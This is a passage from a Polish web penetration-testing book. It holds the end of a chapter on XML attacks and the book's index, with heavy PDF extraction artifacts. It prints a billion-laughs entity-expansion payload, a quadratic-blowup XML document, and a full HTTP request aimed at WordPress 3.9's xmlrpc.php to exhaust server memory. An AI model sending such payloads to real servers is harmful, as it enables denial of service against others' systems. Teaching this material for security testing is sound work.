10 lub wi(cid:218)cej razy. Wymusi to na analizatorze XML zarezerwowanie pami(cid:218)ci dla ka(cid:285)dej encji. Zostanie zmarnowane naprawd(cid:218) du(cid:285)o pami(cid:218)ci do przesy(cid:239)ania tego samego dokumentu XML, co najprawdopodobniej doprowadzi 178 Poleć książkęKup książkę Rozdzia(cid:225) 8. • Ataki XML do braków w pami(cid:218)ci serwera WWW. Niestety, nowoczesne analizatory wykrywaj(cid:200) obecnie zagnie(cid:285)d(cid:285)one encje XML i zatrzymuj(cid:200) analiz(cid:218). Klasyczny przyk(cid:239)ad ataku tego typu przedsta- wiam poni(cid:285)ej: ?xml version= 1.0 ? !DOCTYPE lolz [ !ENTITY lol lol !ENTITY lol1 lol; lol; lol; lol; lol; lol; lol; lol; lol; lol; !ENTITY lol2 lol1; lol1; lol1; lol1; lol1; lol1; lol1; lol1; lol1; lol1; !ENTITY lol3 lol2; lol2; lol2; lol2; lol2; lol2; lol2; lol2; lol2; lol2; !ENTITY lol4 lol3; lol3; lol3; lol3; lol3; lol3; lol3; lol3; lol3; lol3; !ENTITY lol5 lol4; lol4; lol4; lol4; lol4; lol4; lol4; lol4; lol4; lol4; !ENTITY lol6 lol5; lol5; lol5; lol5; lol5; lol5; lol5; lol5; lol5; lol5; !ENTITY lol7 lol6; lol6; lol6; lol6; lol6; lol6; lol6; lol6; lol6; lol6; !ENTITY lol8 lol7; lol7; lol7; lol7; lol7; lol7; lol7; lol7; lol7; lol7; !ENTITY lol9 lol8; lol8; lol8; lol8; lol8; lol8; lol8; lol8; lol8; lol8; ] lolz lol9; /lolz Cho(cid:202) ten konkretny atak nie jest ju(cid:285) mo(cid:285)liwy do zrealizowania, stanowi podstaw(cid:218) dla ataku XML do kwadratu. Encja do kwadratu Nowa wersja ataku zamienia zagnie(cid:285)d(cid:285)one odniesienia do encji na jedn(cid:200) du(cid:285)(cid:200) encj(cid:218) powtarzan(cid:200) pó(cid:283)niej w dokumencie XML tysi(cid:200)ce razy. W efekcie analizator ponownie musi zarezerwowa(cid:202) podobn(cid:200) ilo(cid:258)(cid:202) pami(cid:218)ci operacyjnej co przy ataku tysi(cid:200)ca u(cid:258)mieszków. Typowy dokument XML wykorzystuj(cid:200)cy t(cid:218) sztuczk(cid:218) wygl(cid:200)da nast(cid:218)puj(cid:200)co: ?xml version= 1.0 ? !DOCTYPE student [ !ENTITY x xxxxxxxxxxxxxxxxx... (50 000 - 100 000) ] student x; x; x; x; x; x; x; x; x;... /student (50 000 - 100 000) Zdefiniowany szablon encji posiada encj(cid:218) o d(cid:239)ugo(cid:258)ci kilkudziesi(cid:218)ciu kilobajtów, która nast(cid:218)pnie w dokumencie XML zostaje powtórzona wiele tysi(cid:218)cy razy. Analizator zostaje zmuszony do alokacji du(cid:285)ych ilo(cid:258)ci pami(cid:218)ci, co daje ten sam efekt co miliard u(cid:258)mieszków. Przyk(cid:239)ad podatno(cid:258)ci na atak XML do kwadratu w WordPress 3.9 Chyba nie musz(cid:218) nikomu przedstawia(cid:202) platformy WordPress — jest to obecnie chyba najpo- pularniejszy system do tworzenia blogów w internecie. Niestety, WordPress 3.9 i starszy by(cid:239)y podatne na atak XML do kwadratu. Odkry(cid:239) to izraelski badacz Nir Goldshlager. WordPress zawiera adres URL dzia(cid:239)aj(cid:200)cy jako ko(cid:241)cówka systemu XML-RPC, który przyjmuje dane w postaci XML. Dane XML przetwarza analizator XML, co pozwala na opisywany wcze(cid:258)niej atak. Bardzo (cid:239)atwo w ten sposób przekroczy(cid:202) dopuszczaln(cid:200) ilo(cid:258)(cid:202) pami(cid:218)ci przydzielon(cid:200) procesowi 179 Poleć książkęKup książkę Testy penetracyjne nowoczesnych serwisów Apache, w obr(cid:218)bie którego dzia(cid:239)a analizator. Podatno(cid:258)(cid:202) bardzo (cid:239)atwo wykorzysta(cid:202) — wystar- czy pos(cid:239)a(cid:202) dokument XML-RPC przygotowany w sposób przedstawiony powy(cid:285)ej. Pe(cid:239)ne (cid:285)(cid:200)- danie HTTP ma posta(cid:202): POST /wordpress/xmlrpc.php HTTP/1.1 Host: sandbox.prakharprasad.com Connection: keep-alive Content-Length: 220079 ?xml version= 1.0 ? !DOCTYPE DoS [ !ENTITY x xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx... ] DoS x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x ; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x;... /DoS (cid:146)adunek XML wys(cid:239)any do ko(cid:241)cówki XML-RPC zawiera 1000 powtórze(cid:241) x jako encji x, która to w elemencie DoS wyst(cid:218)puje w ilo(cid:258)ci 40 tysi(cid:218)cy. Wielokrotnie wysy(cid:239)aj(cid:200)c to samo (cid:285)(cid:200)danie do serwera, zu(cid:285)yjemy ca(cid:239)(cid:200) dost(cid:218)pn(cid:200) pami(cid:218)(cid:202). Zu(cid:285)ycie pami(cid:218)ci RAM i CPU osi(cid:200)gn(cid:218)(cid:239)o maksimum, co przedstawia poni(cid:285)szy rysunek: Podobn(cid:200) podatno(cid:258)(cid:202) wykryto równie(cid:285) w platformie Drupal CMS. Na tym ko(cid:241)czymy opis ataków z u(cid:285)yciem XML. Podsumowanie W tym rozdziale przedstawili(cid:258)my ró(cid:285)ne techniki wykorzystania analizatora XML lub innej us(cid:239)u- gi, która korzysta z przetwarzania danych XML. Analizatory XML spotyka si(cid:218) obecnie w wielu aplikacjach w postaci ko(cid:241)cówek API, us(cid:239)ug XML, a nawet plików przesy(cid:239)anych na serwer poprzez formularz na stronie WWW. Wiele z tych systemów nie jest poprawnie skonfigurowa- nych, co umo(cid:285)liwia zastosowanie ataków XXE. Testuj ataki XXE i DoS w kontrolowanym (cid:258)rodo- wisku, a by(cid:202) mo(cid:285)e uda Ci si(cid:218) wykona(cid:202) zdalny kod na serwerach Facebooka, jak to mia(cid:239)o ju(cid:285) miejsce w przesz(cid:239)o(cid:258)ci: http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution. W nast(cid:218)pnym rozdziale przedstawi(cid:218) kilka nowych wektorów ataku, takich jak wstrzykiwanie obiektów PHP, RPO itp. 180 Poleć książkęKup książkę Skorowidz A Adobe Flash Player, 94 adres e-mail, 38 IP, 50, 67 odwrócony, 50 URI, 172, 175, 214, 226, 237 format, 226 konwersja Base64, 174 URL, 42, 84, 123, 175 kodowanie, Patrz: kodowanie URL zniekszta(cid:239)canie, 219 AJAX, 20 analizator XML, 167, 175, 179 generyczny, 168 API dokumentacja, 233 eksplorator, 232 niskopoziomowe, 65 REST, 225, 226, 227, 228, 229, 230, 231, 232 model zasobów, 226 zasób, 228 struktura, 232 uprawnienia, 235, 238 uwierzytelnianie, 230, 231 Apigee API console, 232 aplikacja Burp Suite Proxy, 68 DVWA, 62 internetowa, 211 kliencka, 214 vBulletin, 70 atak CSRF, Patrz: CSRF DoS, Patrz: DoS IDOR, Patrz: IDOR podkradanie klikni(cid:218)(cid:202), 201, 204, 222 PRSSI, Patrz: RPO RPO, Patrz: RPO SSRF, Patrz: SSRF XSS, Patrz: XSS XXE, Patrz: XXE autoryzacja, 211 atak, 219, 220, 222 trzecia strona, 212, 213, 215 upowa(cid:285)nienie autoryzowane, 216 niejawne, 217 B BeEF, 75 konfiguracja, 75 punkt zaczepienia, 76, 77, 80 zak(cid:239)adka Commands, 78 IPec, 80 Logs, 78 Network, 80 Rider, 80 XssRays, 80 bezpiecze(cid:241)stwo, 17, 18 biblioteka Paperclip, 137 Burp Decoder, 174 Burp Suite, 118, 140, 231 Burp Suite Proxy, 68 C CDM, 20 CeWL, 34, 41 Charles, 118 CORS, 21 nag(cid:239)ówek, 21, 22 (cid:285)(cid:200)danie, Patrz: (cid:285)(cid:200)danie CORS Cross-Domain Messaging, Patrz: CSRF, 83, 84, 85, 90, 91, 96, CDM 191 Facebook, 86 JSON, 89 PayPal, 87 zapobieganie, 86, 87 CSRFGuard, 87 D debuger, 49 deserializacja, 206, 207, 208 Di Paola Stefano, 74 Digital Ocean, 64 DirBuster, 34, 42, 43 Poleć książkęKup książkę Skorowidz Django, 188 DNSdumpster, 35, 50 DOM, 72, 74, 77, 194 przebijanie, 194, 195, 196 domena, 20, 21 DoS, 136, 156, 167 miliard u(cid:258)mieszków, 178 na analizator danych XML, 178, 179 przy u(cid:285)yciu obrazka, 137 XXE, 177 Dropbox, 92 API Explorer, 232 DVWA, 127, 128 element div, 202 iframe, 201, 204 e-mail, 186 exploit, 58 E F Facebook, 57, 86, 211, 213, 221 AppCenter, 91 Graph API, 231, 232 testowanie, 237 uprawnienia, 235 Graph API Explorer, 232 (cid:239)(cid:200)cze nieopublikowane, 241 rola, 235, 236, 240 Facebook Studio, 61 Fierce, 34, 35, 37 filtr XSS, 28 Flipkart, 190 format sp(cid:239)aszczony, 168 XML, Patrz: plik XML formularz samowysy(cid:239)aj(cid:200)cy si(cid:218), 89, 91 funkcja, Patrz te(cid:285): metoda __construct, 206 __destruct, 206 __sleep, 206 __wakeup, 206 console.log, 73 244 crypto.generateCRMF (cid:180)Request, 74 document.write, 73, 74 element.add, 75 element.after, 75 element.append, 75 element.before, 75 element.html, 75 element.prepend, 75 element.replaceWith, 75 element.wrap, 75 element.wrapAll, 75 eval, 74 execScript, 74 ExternalInterface.call, 70 parametry, 70, 71 Function, 74 getimagesize, 143 magiczna, 206 ScriptElement.innerText, 74 ScriptElement.src, 74 ScriptElement.text, 74 ScriptElement.textContent, 74 serialize, 205 setImmediate, 74 setInterval, 74 setTimeout, 74 unserialize, 204, 206, 207 G Gist, 195 Gmail, 204 Goldshlager Nir, 34 Google, 211 API Console, 232 wyszukiwarka dyrektywa, 52, 53, 55 Google Advanced Search, 35 Google+, 213 Gruber John, 64 H HackerOne, 191 Hansen Robert (RSnake), 35 has(cid:239)o domy(cid:258)lne, 50 Heyes Gareth, 196 Hivarekar Pranav, 223 HTTP nag(cid:239)ówek, 229 Content-Type, 229, 230 uwierzytelnianie, 230 I IDOR, 188, 189, 241 Flipkart, 190 HackerOne, 191, 193 IE, 19, 199 informacji zbieranie, 33 technika aktywna, 34, 35, 38, 39, 41, 42, 44 technika pasywna, 34, 35, 38, 46, 48, 50, 52 Instagram, 222 interfejs u(cid:285)ytkownika, 201 podmiana, 201, 204, 222 Intruder, 231 J j(cid:218)zyk PHP, 129, 131, 161 JSON, 88, 89, 90 JWT, 231 K Karlsson Mathias, 96, 195 kod JavaScript, 58 kodowanie Base64, 28, 29, 30, 174, 230 procentowe, 24, 221 podwójne, 26, 28, 221 potrójne, 28 komunikacja mi(cid:218)dzydomenowa, URL, 24 20, 21, 23 konwerter Markdown, Patrz: Markdown ksi(cid:218)ga go(cid:258)ci, 62 Poleć książkęKup książkę LFI, 26, 34 LinkedIn, 220 lista adresów IP, 50 serwerów, Patrz: serwer lista s(cid:239)ów, 41 kluczowych, 38 subdomen, Patrz: subdomena lista L (cid:146) (cid:239)adunek, 164 ca(cid:239)o(cid:258)ciowy, 150 dwuetapowy, 150, 151 lista, 151 nas(cid:239)uchuj(cid:200)cy po(cid:239)(cid:200)cze(cid:241), 163 pobierz i wykonaj, 150 tworzenie, 161, 164 VNC, 150 wykonanie, 162 (cid:239)(cid:200)cze klikalne, 64 M MailChimp, 186, 221 Maltego, 34, 44 Markdown, 64 maszyna footprinting, 45 Metasploit, 149 konsola, 151 (cid:239)adunek, Patrz: (cid:239)adunek modu(cid:239), 149, 151 brute_dirs, 154 dir_scanner, 155 do w(cid:239)ama(cid:241), 150 enkodera, 150 files_dir, 156 IPv6, 150 (cid:239)adunku, 150 ms08_067_netapi, 150 mysql_enum, 150 pomocniczy, 150, 153 pow(cid:239)oka, 161 WMAP, Patrz: WMAP Meterpreter, 150, 151 metoda, Patrz te(cid:285): funkcja chat.postMessage, 65 getElementById, 196 getElementsByTagName, 195 magiczna, 208 postMessage, 20 removeEventListener, 196 s(cid:239)ownikowa, 37, 42 MSF, Patrz: Metasploit Msfconsole, 151 polecenie, 151, 153 msfvenom, 161 show options, 154 MySpace, 57, 62 N nag(cid:239)ówek CORS, Patrz: CORS nag(cid:239)ówek odpowiedzi, 22 X-Forwarded-For, 67, 68 X-Requested-With, 95, 96 Naik Amol, 91 Netcat, 133 O OAuth, 211, 223 aplikacja kliencka, 212, 213, 214 przekierowanie, 222 domena przyrostek, 221 zmiana, 221 rola, 212 serwer autoryzacji, 212, 214 zasobu, 212, 213 trzecia strona, 212, 213, 215 w(cid:239)a(cid:258)ciciel zasobu, 212, 213 zagro(cid:285)enia, 219, 220, 221, 222 zakres, 213 zmiana folderów, 221 DOM, 72, 74, 77 PHP wstrzykiwanie, Patrz: POI XMLHttpRequest, 20, 95 obiekt Skorowidz OSINT, 44 P PayPal, 57, 87, 88 Pentest-Tools, 35, 52 Peterv, 44 phishing, 39, 114, 219 plik .htaccess, 141, 142 cookie, 60, 118 HttpOnly, 58, 71 kradzie(cid:285), 58, 63 sesyjny, 231 CSS, 196, 197 dziennika, 207 Flash, 70, 71, 92, 93, 95, 96, 134 GIF jako skrypt PHP, 141 graficzny, 196 weryfikacja, 143 import, 196, 197 JPEG, 137 jako skrypt PHP, 141 weryfikacja, 143, 144 JSP, 130 PDF zaindeksowany, 53 PNG zTXT, 137 przesy(cid:239)anie, 127, 128, 134 zabezpieczenia, 138 rozszerzenie, 138, 141 sp(cid:239)aszczony, 168 SVG, 136 SWF, Patrz: plik Flash zamiana na ActionScript, 70 systemowy, 173 (cid:258)cie(cid:285)ka bezwzgl(cid:218)dna, 197 wzgl(cid:218)dna, 196, 197 typ MIME, 140, 143 uploader.swf, 70 XML, 136, 167, 168, 174 analizator, Patrz: analizator XML atrybut, 169 element, 168 encja, 170, 171 encja wewn(cid:218)trzna, 171 245 Poleć książkęKup książkę Skorowidz plik encja zewn(cid:218)trzna, 171, 172 korze(cid:241), 168 preambu(cid:239)a, 168 sprawdzanie poprawno(cid:258)ci, 169, 170 XML DTD, 169 wewn(cid:218)trzny, 169 zewn(cid:218)trzny, 170 pochodzenie, 18 wyj(cid:200)tki, 19 zmiana miejsca, 19 POI, 204, 207, 208 polecenie dig, 36 exec, 129 INSERT, 119 nslookup, 36 passthru, 129 pcntl_exec, 129 popen, 129 pow(cid:239)oki, 129 proc_open, 129 shell_exec, 129 system, 129 UPDATE, 119 pow(cid:239)oka b374K, 131, 132, 133 C99/R57, 131 Linux Meterpreter, 165 Metasploit, Patrz: Metasploit pow(cid:239)oka Meterpreter, 162, 165 odwrotna, 133, 134, 150 polecenie, Patrz: polecenie pow(cid:239)oki SQL, 119 interaktywna, 120 systemowa, 133 serwera WWW, 208 wielofunkcyjna, 131 pre-flight request, Patrz: (cid:285)(cid:200)danie wst(cid:218)pnego sprawdzenia protokó(cid:239), 185 dict, 186 expect, 186 file, 186 ftp, 186 gopher, 186 http, 186 246 HTTP, 227 kod odpowiedzi, 228, 229 nag(cid:239)ówek, 229 uwierzytelnianie, 230 https, 186 imap, 186 javascript, 59 ldap, 186 mailto, 186 OAuth, 211 ogg, 186 pop3, 186 smtp, 186 telnet, 186 tftp, 186 przegl(cid:200)darka atak, 83 Internet Explorer, Patrz: IE lista zdarze(cid:241), 78 przej(cid:218)cie sesji, 75, 78, 80 uruchamianie modu(cid:239)ów atakuj(cid:200)cego, 78 wysy(cid:239)anie (cid:285)(cid:200)da(cid:241) HTTP, 80 przekierowanie 307, 96 punkt zaczepienia, 76, 77, 80 R Rails, 188 Repeater, 231 REST, 225 Reverse IP Lookup using YouGetSignal, 35 RFI, 26 robak Samy, 62 Rogers Jake, 121 Rosetta Flash, 94, 95 router has(cid:239)o, 50 WiFi, 201 ZTE OX253P, 49 RPO, 196, 200 S Safari, 96 sekret klienta, 215 serializacja, 205, 206 serwer Apache, 141, 142, 156 autoryzacji, 214, 217 b(cid:239)(cid:200)d, 219, 220, 222 LAMP, 161 lista, 37 MySQL, 150 po(cid:258)rednicz(cid:200)cy, 124, 140 skanowanie portów, 183, 184 wspó(cid:239)dzielony, 50 WWW jako po(cid:258)rednik, 181 zdalne wykonanie kodu, 176 Shodan, 35, 48 kryteria, 48 skrypt modyfikuj(cid:200)cy, 121, 123 PHP SetHandler, 142 Slack, 65, 69, 211, 222 s(cid:239)owo kluczowe download, 38 hidden, 38 random, 38 sandbox, 38 test, 38 Smith Garrett, 194 SOP, 17, 18, 20, 21 Sothink SWF Decompiler, 70 SQL pow(cid:239)oka, Patrz: pow(cid:239)oka SQL SQLMap, 97, 99, 101 instalacja, 98 optymalizacja, 109 plik systemowy odczyt, 111, 112 zapis, 111, 113, 114 pobranie wszystkich danych, 106 po(cid:239)(cid:200)czenie HTTP trwa(cid:239)e, 108 NULL, 108 pow(cid:239)oka SQL, 119, 120 przewidywanie danych wyj(cid:258)ciowych, 108 tryb kreatora, 105 wielow(cid:200)tkowo(cid:258)(cid:202), 107 ssh2, 186 SSLStrip, 72 SSRF, 175, 181, 182 MailChimp, 187 skanowanie portów, 183, 184 Poleć książkęKup książkę strona podmiana zawarto(cid:258)ci, 58 SubBrute, 34, 39 subdomena, 38, 39 liczba dziennych odwiedzin, 48 lista, 36, 46, 50 T Tamper Data, 140 theHarvester, 34, 38 token, 86, 90, 94, 188 CSRF, 191 dost(cid:218)powy, 214, 215, 217, 231 kradzie(cid:285), 220 przekierowanie, 222 odgadywanie, 91 s(cid:239)aby, 91 walidacja, 91 wstrzykiwanie, 91, 92 transfer strefy, 36, 37 Twitter, 60 U u(cid:285)ytkownik autoryzacja, Patrz: autoryzacja dane, 213 has(cid:239)o, 99, 103, 104, 173, 230 interfejs, Patrz: interfejs u(cid:285)ytkownika nazwa, 99, 103, 104, 115, 173, 230 token dost(cid:218)powy, 215 uprawnienia, 112, 173, 188, 189, 191, 193 uwierzytelnienie, 118 VHosts, 52 Vimeo, 96 V W WAF, 121 WAMP atak, 159 skanowanie, 158, 159 uruchamianie, 158 w(cid:200)tek wykonawczy, 38 WhatWeb, 34, 44 Whitton Jack, 62 WMAP, 157, 159 Wolfram Alpha, 35, 46 WordPress, 55, 179 wstrzykni(cid:218)cie CSS, 198, 199 kodu SQL, 28, 97, 100, 101 do stron wymagaj(cid:200)cych logowania, 118 modyfikacja adresów URL, 106 na (cid:258)lepo, 110 skrypt modyfikuj(cid:200)cy, 121, 123 technika czasowa, 109, 110 techniki, 102, 109, 110 wykorzystywanie b(cid:239)(cid:218)du, 102, 109 obiektu PHP, Patrz: POI pliku lokalne, Patrz: LFI zdalne, Patrz: RFI X X-Forwarded-For-Header, 68 XSS, 57, 60, 62, 64, 65, 70, 75, 134, 198, 199 adres IP, 67 API, 64 bazuj(cid:200)cy na obiektach DOM, 72, 74, 77 Flash, 70 Markdown, 64 odbity, 57, 58, 59, 60 token CSFR, 90 utrwalony, Patrz: XSS zapisany zapisany, 57, 62, 64, 67 XXE, 172, 173, 177 DoS, 177 Skorowidz Z zabezpieczenie CSRF, Patrz: CSRF zapytanie SELECT, 119 stos, 119 zasada tego samego pochodzenia, Patrz: SOP znacznik HttpOnly, 71, 72 Secure, 72 znak , 171 , 171 , 171 /, 24 , 24, 170, 171 , 170, 171 niezastrze(cid:285)ony, 24 kodowanie, 25 221 specjalny, 170, 171 zastrze(cid:285)ony, 24 kodowanie, 25 przej(cid:258)cia do nowego wiersza, (cid:191) (cid:285)(cid:200)danie CORS, 23 DELETE, 228, 237 GET, 84, 114, 130, 228, 234, 237 HEAD, 228 JSON, 89 OPTIONS, 228 POST, 84, 85, 89, 90, 96, 115, 117, 228, 237 proste, 23 PUT, 228 typ, 228 wst(cid:218)pnego sprawdzenia, 23 Y YouGetSignal, 50 247 Poleć książkęKup książkę Skorowidz 248 Poleć książkęKup książkę
Pobierz darmowy fragment (pdf)

Gdzie kupić całą publikację:

Testy penetracyjne nowoczesnych serwisów. Kompendium inżynierów bezpieczeństwa
Autor:

Opinie na temat publikacji:


Inne popularne pozycje z tej kategorii:


Czytaj również:


Prowadzisz stronę lub blog? Wstaw link do fragmentu tej książki i współpracuj z Cyfroteką: